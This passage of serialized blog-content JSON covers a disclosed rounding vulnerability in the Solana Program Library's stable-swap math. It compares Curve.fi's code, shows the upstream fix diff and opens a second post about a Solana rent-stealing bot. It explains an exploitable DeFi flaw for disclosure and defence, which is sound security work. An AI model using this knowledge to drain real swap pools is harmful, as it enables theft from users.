swap_destination_amount",{"type":21,"tag":153,"props":7078,"children":7079},{"style":198},[7080],{"type":26,"value":355},{"type":21,"tag":153,"props":7082,"children":7083},{"style":181},[7084],{"type":26,"value":5985},{"type":21,"tag":153,"props":7086,"children":7087},{"style":160},[7088],{"type":26,"value":189},{"type":21,"tag":153,"props":7090,"children":7091},{"style":192},[7092],{"type":26,"value":5864},{"type":21,"tag":153,"props":7094,"children":7095},{"style":160},[7096],{"type":26,"value":2071},{"type":21,"tag":153,"props":7098,"children":7099},{"style":198},[7100],{"type":26,"value":2022},{"type":21,"tag":153,"props":7102,"children":7103},{"style":160},[7104],{"type":26,"value":1759},{"type":21,"tag":153,"props":7106,"children":7107},{"class":155,"line":166},[7108,7112],{"type":21,"tag":153,"props":7109,"children":7110},{"style":198},[7111],{"type":26,"value":4099},{"type":21,"tag":153,"props":7113,"children":7114},{"style":3050},[7115],{"type":26,"value":7116},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":21,"tag":153,"props":7118,"children":7119},{"class":155,"line":225},[7120,7124,7128,7132,7136,7140,7144,7148,7152,7156,7160,7164,7168,7172,7176,7180,7184],{"type":21,"tag":153,"props":7121,"children":7122},{"style":198},[7123],{"type":26,"value":4099},{"type":21,"tag":153,"props":7125,"children":7126},{"style":170},[7127],{"type":26,"value":245},{"type":21,"tag":153,"props":7129,"children":7130},{"style":192},[7131],{"type":26,"value":7067},{"type":21,"tag":153,"props":7133,"children":7134},{"style":198},[7135],{"type":26,"value":255},{"type":21,"tag":153,"props":7137,"children":7138},{"style":192},[7139],{"type":26,"value":7076},{"type":21,"tag":153,"props":7141,"children":7142},{"style":198},[7143],{"type":26,"value":355},{"type":21,"tag":153,"props":7145,"children":7146},{"style":181},[7147],{"type":26,"value":5985},{"type":21,"tag":153,"props":7149,"children":7150},{"style":160},[7151],{"type":26,"value":189},{"type":21,"tag":153,"props":7153,"children":7154},{"style":192},[7155],{"type":26,"value":5864},{"type":21,"tag":153,"props":7157,"children":7158},{"style":160},[7159],{"type":26,"value":2071},{"type":21,"tag":153,"props":7161,"children":7162},{"style":198},[7163],{"type":26,"value":5882},{"type":21,"tag":153,"props":7165,"children":7166},{"style":181},[7167],{"type":26,"value":5985},{"type":21,"tag":153,"props":7169,"children":7170},{"style":160},[7171],{"type":26,"value":189},{"type":21,"tag":153,"props":7173,"children":7174},{"style":300},[7175],{"type":26,"value":3033},{"type":21,"tag":153,"props":7177,"children":7178},{"style":160},[7179],{"type":26,"value":2071},{"type":21,"tag":153,"props":7181,"children":7182},{"style":198},[7183],{"type":26,"value":2022},{"type":21,"tag":153,"props":7185,"children":7186},{"style":160},[7187],{"type":26,"value":1759},{"type":21,"tag":22,"props":7189,"children":7190},{},[7191,7193,7200],{"type":26,"value":7192},"For reference, here is the ",{"type":21,"tag":29,"props":7194,"children":7197},{"href":7195,"rel":7196},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[33],[7198],{"type":26,"value":7199},"Curve.fi implementation",{"type":26,"value":355},{"type":21,"tag":143,"props":7202,"children":7206},{"code":7203,"language":7204,"meta":7,"className":7205,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[7207],{"type":21,"tag":78,"props":7208,"children":7209},{"__ignoreMap":7},[7210,7272],{"type":21,"tag":153,"props":7211,"children":7212},{"class":155,"line":156},[7213,7218,7222,7227,7231,7236,7240,7245,7249,7254,7259,7263,7267],{"type":21,"tag":153,"props":7214,"children":7215},{"style":160},[7216],{"type":26,"value":7217},"    dy",{"type":21,"tag":153,"props":7219,"children":7220},{"style":198},[7221],{"type":26,"value":201},{"type":21,"tag":153,"props":7223,"children":7224},{"style":214},[7225],{"type":26,"value":7226}," uint256",{"type":21,"tag":153,"props":7228,"children":7229},{"style":198},[7230],{"type":26,"value":255},{"type":21,"tag":153,"props":7232,"children":7233},{"style":160},[7234],{"type":26,"value":7235}," xp[j] ",{"type":21,"tag":153,"props":7237,"children":7238},{"style":198},[7239],{"type":26,"value":3873},{"type":21,"tag":153,"props":7241,"children":7242},{"style":160},[7243],{"type":26,"value":7244}," y ",{"type":21,"tag":153,"props":7246,"children":7247},{"style":198},[7248],{"type":26,"value":3873},{"type":21,"tag":153,"props":7250,"children":7251},{"style":300},[7252],{"type":26,"value":7253}," 1",{"type":21,"tag":153,"props":7255,"children":7256},{"style":160},[7257],{"type":26,"value":7258},"  # ",{"type":21,"tag":153,"props":7260,"children":7261},{"style":198},[7262],{"type":26,"value":3873},{"type":21,"tag":153,"props":7264,"children":7265},{"style":300},[7266],{"type":26,"value":3033},{"type":21,"tag":153,"props":7268,"children":7269},{"style":160},[7270],{"type":26,"value":7271}," just in case there were some rounding errors\n",{"type":21,"tag":153,"props":7273,"children":7274},{"class":155,"line":166},[7275,7280,7284,7288,7292,7297,7301,7306,7311],{"type":21,"tag":153,"props":7276,"children":7277},{"style":160},[7278],{"type":26,"value":7279},"    dy_fee",{"type":21,"tag":153,"props":7281,"children":7282},{"style":198},[7283],{"type":26,"value":201},{"type":21,"tag":153,"props":7285,"children":7286},{"style":214},[7287],{"type":26,"value":7226},{"type":21,"tag":153,"props":7289,"children":7290},{"style":198},[7291],{"type":26,"value":255},{"type":21,"tag":153,"props":7293,"children":7294},{"style":160},[7295],{"type":26,"value":7296}," dy ",{"type":21,"tag":153,"props":7298,"children":7299},{"style":198},[7300],{"type":26,"value":313},{"type":21,"tag":153,"props":7302,"children":7303},{"style":160},[7304],{"type":26,"value":7305}," self.fee ",{"type":21,"tag":153,"props":7307,"children":7308},{"style":198},[7309],{"type":26,"value":7310},"/",{"type":21,"tag":153,"props":7312,"children":7313},{"style":160},[7314],{"type":26,"value":7315}," FEE_DENOMINATOR\n",{"type":21,"tag":22,"props":7317,"children":7318},{},[7319,7321,7328],{"type":26,"value":7320},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":21,"tag":29,"props":7322,"children":7325},{"href":7323,"rel":7324},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[33],[7326],{"type":26,"value":7327},"original commit",{"type":26,"value":7329},", not as an additional security patch.",{"type":21,"tag":143,"props":7331,"children":7333},{"code":7332},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[7334],{"type":21,"tag":78,"props":7335,"children":7336},{"__ignoreMap":7},[7337],{"type":26,"value":7332},{"type":21,"tag":22,"props":7339,"children":7340},{},[7341,7343,7350],{"type":26,"value":7342},"The commit adding stable swaps to SPL was ",{"type":21,"tag":29,"props":7344,"children":7347},{"href":7345,"rel":7346},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[33],[7348],{"type":26,"value":7349},"made a few months later",{"type":26,"value":7351},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":21,"tag":143,"props":7353,"children":7355},{"code":7354},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[7356],{"type":21,"tag":78,"props":7357,"children":7358},{"__ignoreMap":7},[7359],{"type":26,"value":7354},{"type":21,"tag":22,"props":7361,"children":7362},{},[7363,7365,7372],{"type":26,"value":7364},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":21,"tag":29,"props":7366,"children":7369},{"href":7367,"rel":7368},"https://github.com/solana-labs/solana-program-library",[33],[7370],{"type":26,"value":7371},"the Solana Program Library",{"type":26,"value":355},{"type":21,"tag":22,"props":7374,"children":7375},{},[7376],{"type":26,"value":7377},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":21,"tag":22,"props":7379,"children":7380},{},[7381,7388],{"type":21,"tag":29,"props":7382,"children":7385},{"href":7383,"rel":7384},"https://github.com/joncinque",[33],[7386],{"type":26,"value":7387},"@joncinque",{"type":26,"value":7389}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":21,"tag":5689,"props":7391,"children":7392},{},[7393],{"type":21,"tag":22,"props":7394,"children":7395},{},[7396],{"type":26,"value":7397},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":21,"tag":22,"props":7399,"children":7400},{},[7401,7403,7410,7412,7418],{"type":26,"value":7402},"After some thought, he helped ",{"type":21,"tag":29,"props":7404,"children":7407},{"href":7405,"rel":7406},"https://github.com/solana-labs/solana-program-library/pull/2942",[33],[7408],{"type":26,"value":7409},"introduce a PR",{"type":26,"value":7411}," which ceilings the computation in ",{"type":21,"tag":78,"props":7413,"children":7415},{"className":7414},[],[7416],{"type":26,"value":7417},"compute_new_destination_amount",{"type":26,"value":7419}," to correctly round within the stable curve math library.",{"type":21,"tag":143,"props":7421,"children":7423},{"code":7422,"language":147,"meta":7,"className":145,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[7424],{"type":21,"tag":78,"props":7425,"children":7426},{"__ignoreMap":7},[7427,7435,7465,7492,7520,7544,7620,7724,7751,7846,7949,7976,7988,8007,8030],{"type":21,"tag":153,"props":7428,"children":7429},{"class":155,"line":156},[7430],{"type":21,"tag":153,"props":7431,"children":7432},{"style":3050},[7433],{"type":26,"value":7434},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":153,"props":7436,"children":7437},{"class":155,"line":166},[7438,7443,7447,7452,7456,7461],{"type":21,"tag":153,"props":7439,"children":7440},{"style":170},[7441],{"type":26,"value":7442},"     let",{"type":21,"tag":153,"props":7444,"children":7445},{"style":170},[7446],{"type":26,"value":1560},{"type":21,"tag":153,"props":7448,"children":7449},{"style":192},[7450],{"type":26,"value":7451}," y_prev",{"type":21,"tag":153,"props":7453,"children":7454},{"style":198},[7455],{"type":26,"value":201},{"type":21,"tag":153,"props":7457,"children":7458},{"style":214},[7459],{"type":26,"value":7460}," U256",{"type":21,"tag":153,"props":7462,"children":7463},{"style":160},[7464],{"type":26,"value":1759},{"type":21,"tag":153,"props":7466,"children":7467},{"class":155,"line":225},[7468,7472,7476,7480,7484,7488],{"type":21,"tag":153,"props":7469,"children":7470},{"style":170},[7471],{"type":26,"value":7442},{"type":21,"tag":153,"props":7473,"children":7474},{"style":170},[7475],{"type":26,"value":1560},{"type":21,"tag":153,"props":7477,"children":7478},{"style":192},[7479],{"type":26,"value":5763},{"type":21,"tag":153,"props":7481,"children":7482},{"style":198},[7483],{"type":26,"value":255},{"type":21,"tag":153,"props":7485,"children":7486},{"style":192},[7487],{"type":26,"value":5772},{"type":21,"tag":153,"props":7489,"children":7490},{"style":160},[7491],{"type":26,"value":1759},{"type":21,"tag":153,"props":7493,"children":7494},{"class":155,"line":239},[7495,7500,7504,7508,7512,7516],{"type":21,"tag":153,"props":7496,"children":7497},{"style":1751},[7498],{"type":26,"value":7499},"     for",{"type":21,"tag":153,"props":7501,"children":7502},{"style":192},[7503],{"type":26,"value":5789},{"type":21,"tag":153,"props":7505,"children":7506},{"style":170},[7507],{"type":26,"value":5794},{"type":21,"tag":153,"props":7509,"children":7510},{"style":300},[7511],{"type":26,"value":5799},{"type":21,"tag":153,"props":7513,"children":7514},{"style":198},[7515],{"type":26,"value":341},{"type":21,"tag":153,"props":7517,"children":7518},{"style":160},[7519],{"type":26,"value":5808},{"type":21,"tag":153,"props":7521,"children":7522},{"class":155,"line":382},[7523,7527,7532,7536,7540],{"type":21,"tag":153,"props":7524,"children":7525},{"style":198},[7526],{"type":26,"value":3873},{"type":21,"tag":153,"props":7528,"children":7529},{"style":192},[7530],{"type":26,"value":7531},"        y_prev",{"type":21,"tag":153,"props":7533,"children":7534},{"style":198},[7535],{"type":26,"value":255},{"type":21,"tag":153,"props":7537,"children":7538},{"style":192},[7539],{"type":26,"value":5763},{"type":21,"tag":153,"props":7541,"children":7542},{"style":160},[7543],{"type":26,"value":1759},{"type":21,"tag":153,"props":7545,"children":7546},{"class":155,"line":501},[7547,7551,7556,7560,7564,7568,7572,7576,7580,7584,7588,7592,7596,7600,7604,7608,7612,7616],{"type":21,"tag":153,"props":7548,"children":7549},{"style":198},[7550],{"type":26,"value":3873},{"type":21,"tag":153,"props":7552,"children":7553},{"style":192},[7554],{"type":26,"value":7555},"        y",{"type":21,"tag":153,"props":7557,"children":7558},{"style":198},[7559],{"type":26,"value":255},{"type":21,"tag":153,"props":7561,"children":7562},{"style":160},[7563],{"type":26,"value":5820},{"type":21,"tag":153,"props":7565,"children":7566},{"style":181},[7567],{"type":26,"value":5851},{"type":21,"tag":153,"props":7569,"children":7570},{"style":160},[7571],{"type":26,"value":189},{"type":21,"tag":153,"props":7573,"children":7574},{"style":198},[7575],{"type":26,"value":1974},{"type":21,"tag":153,"props":7577,"children":7578},{"style":192},[7579],{"type":26,"value":5864},{"type":21,"tag":153,"props":7581,"children":7582},{"style":160},[7583],{"type":26,"value":1670},{"type":21,"tag":153,"props":7585,"children":7586},{"style":300},[7587],{"type":26,"value":5873},{"type":21,"tag":153,"props":7589,"children":7590},{"style":160},[7591],{"type":26,"value":2071},{"type":21,"tag":153,"props":7593,"children":7594},{"style":198},[7595],{"type":26,"value":5882},{"type":21,"tag":153,"props":7597,"children":7598},{"style":181},[7599],{"type":26,"value":5887},{"type":21,"tag":153,"props":7601,"children":7602},{"style":160},[7603],{"type":26,"value":189},{"type":21,"tag":153,"props":7605,"children":7606},{"style":192},[7607],{"type":26,"value":5896},{"type":21,"tag":153,"props":7609,"children":7610},{"style":160},[7611],{"type":26,"value":2071},{"type":21,"tag":153,"props":7613,"children":7614},{"style":198},[7615],{"type":26,"value":2022},{"type":21,"tag":153,"props":7617,"children":7618},{"style":160},[7619],{"type":26,"value":5909},{"type":21,"tag":153,"props":7621,"children":7622},{"class":155,"line":533},[7623,7627,7631,7636,7640,7644,7648,7652,7656,7660,7664,7668,7672,7676,7680,7684,7688,7692,7696,7700,7704,7708,7712,7716,7720],{"type":21,"tag":153,"props":7624,"children":7625},{"style":198},[7626],{"type":26,"value":3873},{"type":21,"tag":153,"props":7628,"children":7629},{"style":198},[7630],{"type":26,"value":5917},{"type":21,"tag":153,"props":7632,"children":7633},{"style":181},[7634],{"type":26,"value":7635},"checked_div",{"type":21,"tag":153,"props":7637,"children":7638},{"style":160},[7639],{"type":26,"value":189},{"type":21,"tag":153,"props":7641,"children":7642},{"style":181},[7643],{"type":26,"value":5931},{"type":21,"tag":153,"props":7645,"children":7646},{"style":160},[7647],{"type":26,"value":189},{"type":21,"tag":153,"props":7649,"children":7650},{"style":198},[7651],{"type":26,"value":1974},{"type":21,"tag":153,"props":7653,"children":7654},{"style":192},[7655],{"type":26,"value":5864},{"type":21,"tag":153,"props":7657,"children":7658},{"style":160},[7659],{"type":26,"value":1670},{"type":21,"tag":153,"props":7661,"children":7662},{"style":300},[7663],{"type":26,"value":5873},{"type":21,"tag":153,"props":7665,"children":7666},{"style":160},[7667],{"type":26,"value":2071},{"type":21,"tag":153,"props":7669,"children":7670},{"style":198},[7671],{"type":26,"value":5882},{"type":21,"tag":153,"props":7673,"children":7674},{"style":181},[7675],{"type":26,"value":5887},{"type":21,"tag":153,"props":7677,"children":7678},{"style":160},[7679],{"type":26,"value":189},{"type":21,"tag":153,"props":7681,"children":7682},{"style":192},[7683],{"type":26,"value":5972},{"type":21,"tag":153,"props":7685,"children":7686},{"style":160},[7687],{"type":26,"value":2071},{"type":21,"tag":153,"props":7689,"children":7690},{"style":198},[7691],{"type":26,"value":5882},{"type":21,"tag":153,"props":7693,"children":7694},{"style":181},[7695],{"type":26,"value":5985},{"type":21,"tag":153,"props":7697,"children":7698},{"style":160},[7699],{"type":26,"value":189},{"type":21,"tag":153,"props":7701,"children":7702},{"style":192},[7703],{"type":26,"value":5994},{"type":21,"tag":153,"props":7705,"children":7706},{"style":160},[7707],{"type":26,"value":2071},{"type":21,"tag":153,"props":7709,"children":7710},{"style":198},[7711],{"type":26,"value":2022},{"type":21,"tag":153,"props":7713,"children":7714},{"style":160},[7715],{"type":26,"value":2071},{"type":21,"tag":153,"props":7717,"children":7718},{"style":198},[7719],{"type":26,"value":2022},{"type":21,"tag":153,"props":7721,"children":7722},{"style":160},[7723],{"type":26,"value":1759},{"type":21,"tag":153,"props":7725,"children":7726},{"class":155,"line":542},[7727,7731,7735,7739,7743,7747],{"type":21,"tag":153,"props":7728,"children":7729},{"style":198},[7730],{"type":26,"value":3873},{"type":21,"tag":153,"props":7732,"children":7733},{"style":1751},[7734],{"type":26,"value":2607},{"type":21,"tag":153,"props":7736,"children":7737},{"style":192},[7738],{"type":26,"value":5763},{"type":21,"tag":153,"props":7740,"children":7741},{"style":198},[7742],{"type":26,"value":6031},{"type":21,"tag":153,"props":7744,"children":7745},{"style":192},[7746],{"type":26,"value":7451},{"type":21,"tag":153,"props":7748,"children":7749},{"style":160},[7750],{"type":26,"value":236},{"type":21,"tag":153,"props":7752,"children":7753},{"class":155,"line":762},[7754,7758,7762,7766,7770,7774,7778,7782,7786,7790,7794,7798,7802,7806,7810,7814,7818,7822,7826,7830,7834,7838,7842],{"type":21,"tag":153,"props":7755,"children":7756},{"style":198},[7757],{"type":26,"value":4099},{"type":21,"tag":153,"props":7759,"children":7760},{"style":170},[7761],{"type":26,"value":245},{"type":21,"tag":153,"props":7763,"children":7764},{"style":160},[7765],{"type":26,"value":5820},{"type":21,"tag":153,"props":7767,"children":7768},{"style":192},[7769],{"type":26,"value":5825},{"type":21,"tag":153,"props":7771,"children":7772},{"style":160},[7773],{"type":26,"value":1670},{"type":21,"tag":153,"props":7775,"children":7776},{"style":192},[7777],{"type":26,"value":5834},{"type":21,"tag":153,"props":7779,"children":7780},{"style":160},[7781],{"type":26,"value":2362},{"type":21,"tag":153,"props":7783,"children":7784},{"style":198},[7785],{"type":26,"value":2367},{"type":21,"tag":153,"props":7787,"children":7788},{"style":160},[7789],{"type":26,"value":5820},{"type":21,"tag":153,"props":7791,"children":7792},{"style":181},[7793],{"type":26,"value":5851},{"type":21,"tag":153,"props":7795,"children":7796},{"style":160},[7797],{"type":26,"value":189},{"type":21,"tag":153,"props":7799,"children":7800},{"style":198},[7801],{"type":26,"value":1974},{"type":21,"tag":153,"props":7803,"children":7804},{"style":192},[7805],{"type":26,"value":5864},{"type":21,"tag":153,"props":7807,"children":7808},{"style":160},[7809],{"type":26,"value":1670},{"type":21,"tag":153,"props":7811,"children":7812},{"style":300},[7813],{"type":26,"value":5873},{"type":21,"tag":153,"props":7815,"children":7816},{"style":160},[7817],{"type":26,"value":2071},{"type":21,"tag":153,"props":7819,"children":7820},{"style":198},[7821],{"type":26,"value":5882},{"type":21,"tag":153,"props":7823,"children":7824},{"style":181},[7825],{"type":26,"value":5887},{"type":21,"tag":153,"props":7827,"children":7828},{"style":160},[7829],{"type":26,"value":189},{"type":21,"tag":153,"props":7831,"children":7832},{"style":192},[7833],{"type":26,"value":5896},{"type":21,"tag":153,"props":7835,"children":7836},{"style":160},[7837],{"type":26,"value":2071},{"type":21,"tag":153,"props":7839,"children":7840},{"style":198},[7841],{"type":26,"value":2022},{"type":21,"tag":153,"props":7843,"children":7844},{"style":160},[7845],{"type":26,"value":5909},{"type":21,"tag":153,"props":7847,"children":7848},{"class":155,"line":776},[7849,7853,7857,7861,7865,7869,7873,7877,7881,7885,7889,7893,7897,7901,7905,7909,7913,7917,7921,7925,7929,7933,7937,7941,7945],{"type":21,"tag":153,"props":7850,"children":7851},{"style":198},[7852],{"type":26,"value":4099},{"type":21,"tag":153,"props":7854,"children":7855},{"style":198},[7856],{"type":26,"value":5917},{"type":21,"tag":153,"props":7858,"children":7859},{"style":181},[7860],{"type":26,"value":5922},{"type":21,"tag":153,"props":7862,"children":7863},{"style":160},[7864],{"type":26,"value":189},{"type":21,"tag":153,"props":7866,"children":7867},{"style":181},[7868],{"type":26,"value":5931},{"type":21,"tag":153,"props":7870,"children":7871},{"style":160},[7872],{"type":26,"value":189},{"type":21,"tag":153,"props":7874,"children":7875},{"style":198},[7876],{"type":26,"value":1974},{"type":21,"tag":153,"props":7878,"children":7879},{"style":192},[7880],{"type":26,"value":5864},{"type":21,"tag":153,"props":7882,"children":7883},{"style":160},[7884],{"type":26,"value":1670},{"type":21,"tag":153,"props":7886,"children":7887},{"style":300},[7888],{"type":26,"value":5873},{"type":21,"tag":153,"props":7890,"children":7891},{"style":160},[7892],{"type":26,"value":2071},{"type":21,"tag":153,"props":7894,"children":7895},{"style":198},[7896],{"type":26,"value":5882},{"type":21,"tag":153,"props":7898,"children":7899},{"style":181},[7900],{"type":26,"value":5887},{"type":21,"tag":153,"props":7902,"children":7903},{"style":160},[7904],{"type":26,"value":189},{"type":21,"tag":153,"props":7906,"children":7907},{"style":192},[7908],{"type":26,"value":5972},{"type":21,"tag":153,"props":7910,"children":7911},{"style":160},[7912],{"type":26,"value":2071},{"type":21,"tag":153,"props":7914,"children":7915},{"style":198},[7916],{"type":26,"value":5882},{"type":21,"tag":153,"props":7918,"children":7919},{"style":181},[7920],{"type":26,"value":5985},{"type":21,"tag":153,"props":7922,"children":7923},{"style":160},[7924],{"type":26,"value":189},{"type":21,"tag":153,"props":7926,"children":7927},{"style":192},[7928],{"type":26,"value":5994},{"type":21,"tag":153,"props":7930,"children":7931},{"style":160},[7932],{"type":26,"value":2071},{"type":21,"tag":153,"props":7934,"children":7935},{"style":198},[7936],{"type":26,"value":2022},{"type":21,"tag":153,"props":7938,"children":7939},{"style":160},[7940],{"type":26,"value":2071},{"type":21,"tag":153,"props":7942,"children":7943},{"style":198},[7944],{"type":26,"value":2022},{"type":21,"tag":153,"props":7946,"children":7947},{"style":160},[7948],{"type":26,"value":1759},{"type":21,"tag":153,"props":7950,"children":7951},{"class":155,"line":795},[7952,7956,7960,7964,7968,7972],{"type":21,"tag":153,"props":7953,"children":7954},{"style":198},[7955],{"type":26,"value":4099},{"type":21,"tag":153,"props":7957,"children":7958},{"style":1751},[7959],{"type":26,"value":2607},{"type":21,"tag":153,"props":7961,"children":7962},{"style":192},[7963],{"type":26,"value":6026},{"type":21,"tag":153,"props":7965,"children":7966},{"style":198},[7967],{"type":26,"value":6031},{"type":21,"tag":153,"props":7969,"children":7970},{"style":192},[7971],{"type":26,"value":5763},{"type":21,"tag":153,"props":7973,"children":7974},{"style":160},[7975],{"type":26,"value":236},{"type":21,"tag":153,"props":7977,"children":7978},{"class":155,"line":808},[7979,7984],{"type":21,"tag":153,"props":7980,"children":7981},{"style":1751},[7982],{"type":26,"value":7983},"             break",{"type":21,"tag":153,"props":7985,"children":7986},{"style":160},[7987],{"type":26,"value":1759},{"type":21,"tag":153,"props":7989,"children":7990},{"class":155,"line":820},[7991,7995,7999,8003],{"type":21,"tag":153,"props":7992,"children":7993},{"style":198},[7994],{"type":26,"value":4099},{"type":21,"tag":153,"props":7996,"children":7997},{"style":160},[7998],{"type":26,"value":2712},{"type":21,"tag":153,"props":8000,"children":8001},{"style":1751},[8002],{"type":26,"value":2717},{"type":21,"tag":153,"props":8004,"children":8005},{"style":160},[8006],{"type":26,"value":236},{"type":21,"tag":153,"props":8008,"children":8009},{"class":155,"line":842},[8010,8014,8018,8022,8026],{"type":21,"tag":153,"props":8011,"children":8012},{"style":198},[8013],{"type":26,"value":4099},{"type":21,"tag":153,"props":8015,"children":8016},{"style":192},[8017],{"type":26,"value":6074},{"type":21,"tag":153,"props":8019,"children":8020},{"style":198},[8021],{"type":26,"value":255},{"type":21,"tag":153,"props":8023,"children":8024},{"style":192},[8025],{"type":26,"value":6026},{"type":21,"tag":153,"props":8027,"children":8028},{"style":160},[8029],{"type":26,"value":1759},{"type":21,"tag":153,"props":8031,"children":8032},{"class":155,"line":3204},[8033],{"type":21,"tag":153,"props":8034,"children":8035},{"style":160},[8036],{"type":26,"value":8037},"         }\n",{"type":21,"tag":66,"props":8039,"children":8041},{"id":8040},"closing-thoughts",[8042],{"type":26,"value":8043},"Closing Thoughts",{"type":21,"tag":22,"props":8045,"children":8046},{},[8047],{"type":26,"value":8048},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":21,"tag":22,"props":8050,"children":8051},{},[8052,8054,8060],{"type":26,"value":8053},"Another interesting takeaway is that ",{"type":21,"tag":8055,"props":8056,"children":8057},"strong",{},[8058],{"type":26,"value":8059},"fuzzing can give a false sense of security",{"type":26,"value":8061},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":21,"tag":22,"props":8063,"children":8064},{},[8065,8067,8074],{"type":26,"value":8066},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":21,"tag":29,"props":8068,"children":8071},{"href":8069,"rel":8070},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[33],[8072],{"type":26,"value":8073},"port-mortem of the NSS overflow",{"type":26,"value":355},{"type":21,"tag":22,"props":8076,"children":8077},{},[8078],{"type":21,"tag":3644,"props":8079,"children":8081},{"alt":7,"src":8080},"/posts/spl-swap/p0.png",[],{"type":21,"tag":22,"props":8083,"children":8084},{},[8085],{"type":26,"value":8086},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":21,"tag":22,"props":8088,"children":8089},{},[8090],{"type":26,"value":8091},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":21,"tag":22,"props":8093,"children":8094},{},[8095],{"type":26,"value":8096},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":21,"tag":5603,"props":8098,"children":8099},{},[8100],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":8102},[8103,8104,8105,8106],{"id":5674,"depth":166,"text":5677},{"id":6654,"depth":166,"text":6657},{"id":6957,"depth":166,"text":6960},{"id":8040,"depth":166,"text":8043},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":8111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8112,"description":8113,"image":8114,"date":8118,"isFeatured":16,"onBlogPage":16,"tags":8119,"body":8120,"_type":5619,"_id":8444,"_source":5621,"_file":8445,"_stem":8446,"_extension":5624},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":8115,"width":8116,"height":8117},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[5636,5637],{"type":18,"children":8121,"toc":8437},[8122,8127,8133,8138,8143,8148,8154,8167,8214,8245,8254,8259,8264,8269,8275,8288,8304,8309,8314,8329,8333,8338,8353,8360,8365,8375,8382,8386,8391,8397,8402,8407,8412,8418,8423],{"type":21,"tag":22,"props":8123,"children":8124},{},[8125],{"type":26,"value":8126},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":21,"tag":66,"props":8128,"children":8130},{"id":8129},"background",[8131],{"type":26,"value":8132},"Background",{"type":21,"tag":22,"props":8134,"children":8135},{},[8136],{"type":26,"value":8137},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":21,"tag":22,"props":8139,"children":8140},{},[8141],{"type":26,"value":8142},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":21,"tag":22,"props":8144,"children":8145},{},[8146],{"type":26,"value":8147},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":21,"tag":66,"props":8149,"children":8151},{"id":8150},"the-exploit",[8152],{"type":26,"value":8153},"The 